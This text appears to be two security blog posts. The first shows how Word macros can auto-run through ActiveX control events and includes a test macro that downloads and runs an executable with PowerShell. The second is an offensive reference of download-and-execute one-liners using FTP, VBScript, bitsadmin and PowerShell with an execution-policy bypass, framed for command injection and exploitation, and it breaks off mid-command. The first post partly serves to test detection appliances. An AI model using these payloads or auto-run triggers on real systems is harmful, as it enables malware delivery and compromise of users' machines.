A couple of months ago I encountered a malicious macro Word document and after analysing it, it was found to be using a new vector to execute the macro. I’m not sure if this method had ever been used before but it was using macros with an embedded ActiveX control object in the document.

Most malicious Word documents use the usual reserved names such as AutoOpen() and Document_Open() to automatically run macros. This document in question was using a subroutine name of InkPicture1_Painted() to execute code once the ActiveX control got enabled. This routine comes from an ActiveX control “Microsoft InkPicture Control” embedded in the document.

ActiveX Controls for malicious use
If we wanted to embed ActiveX control in a document it is pretty straightforward to do. Once the developer tab is enabled (File – Options – Customize Ribbon) go to the developer tab and Controls section on the ribbon. A huge list of controls is given which could be used to embed in the document.

Each control gives the option to add macros to its procedures

We can see below that there are dozens of procedures that could be used

After testing each ActiveX control object and all its procedures a large number of procedures were able to automatically run macros. Not all controls can be embedded into the document but majority can be and are listed in the table below.

ActiveX Control Subroutine name
Microsoft Forms 2.0 Frame Frame1_Layout
Microsoft Forms 2.0 MultiPage MultiPage1_Layout
Microsoft ImageComboBox Control, version 6.0 ImageCombo21_Change
Microsoft InkEdit Control InkEdit1_GotFocus
Microsoft InkPicture Control InkPicture1_Painted
System Monitor Control SystemMonitor1_GotFocus
Microsoft Web Browser WebBrowser1_BeforeNavigate2

The controls listed below when used with these subroutines names has an interesting behaviour in that moving the mouse on top of the embedded object triggers the macro.

ActiveX Control Subroutine name
Microsoft Forms 2.0 Frame Frame1_MouseMove
Microsoft Forms 2.0 MultiPage MultiPage1_MouseMove
Microsoft InkEdit Control InkEdit1_MouseMove
Microsoft InkPicture Control InkPicture1_MouseMove
Microsoft Forms 2.0 CheckBox CheckBox1_MouseMove
Microsoft Forms 2.0 ComboBox ComboBox1_MouseMove
Microsoft Forms 2.0 CommandButton CommandButton1_MouseMove
Microsoft Forms 2.0 Image Image1_MouseMove
Microsoft Forms 2.0 Label Label1_MouseMove
Microsoft Forms 2.0 ListBox ListBox1_MouseMove
Microsoft Forms 2.0 OptionButton OptionButton1_MouseMove
Microsoft Forms 2.0 TabStrip TabStrip1_MouseMove
Microsoft Forms 2.0 TextBox TextBox1_MouseMove
Microsoft Forms 2.0 Toggle Button ToggleButton1_MouseMove
Microsoft ListView Control, version 6.0 ListView41_MouseMove
Microsoft ProgressBar Control, version 6.0 ProgressBar21_MouseMove
Microsoft Slider Control, version 6.0 Slider21_MouseMove
Microsoft StatusBar Control, version 6.0 StatusBar31_MouseMove
Microsoft TabStrip Control, version 6.0 TabStrip31_MouseMove
Microsoft Toolbar Control, version 6.0 Toolbar31_MouseMove
Microsoft TreeView Control, version 6.0 TreeView41_MouseMove
MSREdit Class AMSREdit1_MouseMove

There are more ActiveX controls not listed as those need some further action i.e. clicking on the embedded object to trigger the macro. Tested were carried out mainly using Word and Excel of Microsoft Office 2010 x64 on Windows 7.

User Awareness
Users hopefully should know by now that macros are dangerous so even if received they would be prompted by two warning prompts. The first is the usual “Protected View” warning when documents are received from the Internet.

After enabling editing then the usual macro prompt appears. At this point we hope the user would think before clicking

With macros being used with ActiveX controls we do not see the usual macro warning prompt but an ActiveX prompt so users might fall victim to clicking on it.

There are settings in Microsoft Office to disable ActiveX controls completely if necessary.

Using the registry settings

Disable all controls without notification


Prompt me before enabling UFI controls

"UFIControls"=dword:00000004  (3 if Safe mode unticked)

Prompt me before enabling all controls with minimal restrictions

"UFIControls"=dword:00000006  (5 if Safe mode unticked)

Enable all controls without restrictions and without prompting

"UFIControls"=dword:00000002  (1 if Safe mode unticked)

Testing Threat Detection Appliances
You can download this zip file (password is “macros”) which contains three documents you can use to test your appliances to see how well they score.

document_open_messbox.docm – This document uses the normal reserved name Document_Open to automatically run macro.
inkedit1_gotfocus_messbox.docm – This document uses ActiveX “Microsoft InkEdit Control” to automatically run macro.
inkedit1_mousemove_messbox.docm – This document uses ActiveX “Microsoft InkEdit Control” to run macro by mouse movement on the page.

The macro contained in the document uses Powershell to download and execute messbox.exe from my site so should flag all three documents as malicious.

run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.greyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe'",vbNormalFocus)

It would be interesting to know which appliances flagged which documents as malicious so do tweet me or add a comment. Thanks all.

In this post I am just highlighting some of the ways that I know of where we can download and execute code via the commandline which could be used in command injection vulnerabilities or exploiting buffer overflows using the classic ret-to-libc method. Most of you would most probably know these methods but I thought I’d post it anyway for my own reference.

FTP method
FTP can be used to download a binary and then get executed with the start command. The downside to this method is that we’ll need to have a FTP server hosting the binary file. Nevertheless the command string length can be reasonably small.

Here the ftp commands which are first echoed to create a script, then run the script by ftp.exe to download the binary and finally executing the binary.

get /messbox.exe
cmd.exe /c "@echo open>script.txt&@echo binary>>script.txt&
@echo get /messbox.exe>>script.txt&@echo quit>>script.txt&@ftp -s:scrip
t.txt -v -A&@start messbox.exe"

We can make the command string smaller by using o for open and b for binary. Also our script file can also be represented as a single character.

WSH method
Windows Scripting Host can also be used to download and execute code. For this we again need to echo out the scripting code to a file and then run our script by cscript.exe.

strFileURL = "http://www.greyhathacker.net/tools/messbox.exe"
strHDLocation = "mess.exe"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0   
objADOStream.SaveToFile strHDLocation
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
Set objShell = CreateObject("WScript.Shell")

Below is the code that is chained up and then using cscript.exe to run our script.

cmd.exe /c "@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>poc.vbs
&@echo objXMLHTTP.open "GET","http://www.greyhathacker.net/tools/messbo
x.exe",false>>poc.vbs&@echo objXMLHTTP.send()>>poc.vbs&@echo If objXMLH
TTP.Status=200 Then>>poc.vbs&@echo Set objADOStream=CreateObject("ADODB
.Stream")>>poc.vbs&@echo objADOStream.Open>>poc.vbs&@echo objADOStream.
Type=1 >>poc.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>poc.
vbs&@echo objADOStream.Position=0 >>poc.vbs&@echo objADOStream.SaveToFi
le "mess.exe">>poc.vbs&@echo objADOStream.Close>>poc.vbs&@echo Set objA
DOStream=Nothing>>poc.vbs&@echo End if>>poc.vbs&@echo Set objXMLHTTP=No
thing>>poc.vbs&@echo Set objShell=CreateObject("WScript.Shell")>>poc.vb
s&@echo objShell.Exec("mess.exe")>>poc.vbs&cscript.exe poc.vbs"

BITSadmin method
Windows 7 comes with a console tool called bitsadmin.exe which can be used to download and upload files. The cool thing about bitsadmin is that it suspends the transfer if a network connection is lost. After reconnection the transfer continues where it left off and executes our code.

cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://w
ww.greyhathacker.net/tools/messbox.exe c:\mess.exe&start mess.exe"

PowerShell method
Powershell is a scripting language which comes as standard in Windows 7. Below is a script which downloads and executes mess.exe.

$down = New-Object System.Net.WebClient
$url  = 'http://www.greyhathacker.net/tools/messbox.exe';
$file = 'mess.exe';
$exec = New-Object -com shell.application

We can echo this script to a file and then run the script using Powershell with the “bypass” parameter as by default the Powershell policy is set to “restricted”.

powershell.exe -executionpolicy bypass -file poc.ps1

Another elegant way to run our code without any scripts is by chaining our code in one line as shown below

PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.g
reyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe'
PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.g
reyhathacker.net/tools/messbox.exe','mess.exe');(New-Object -com Shell.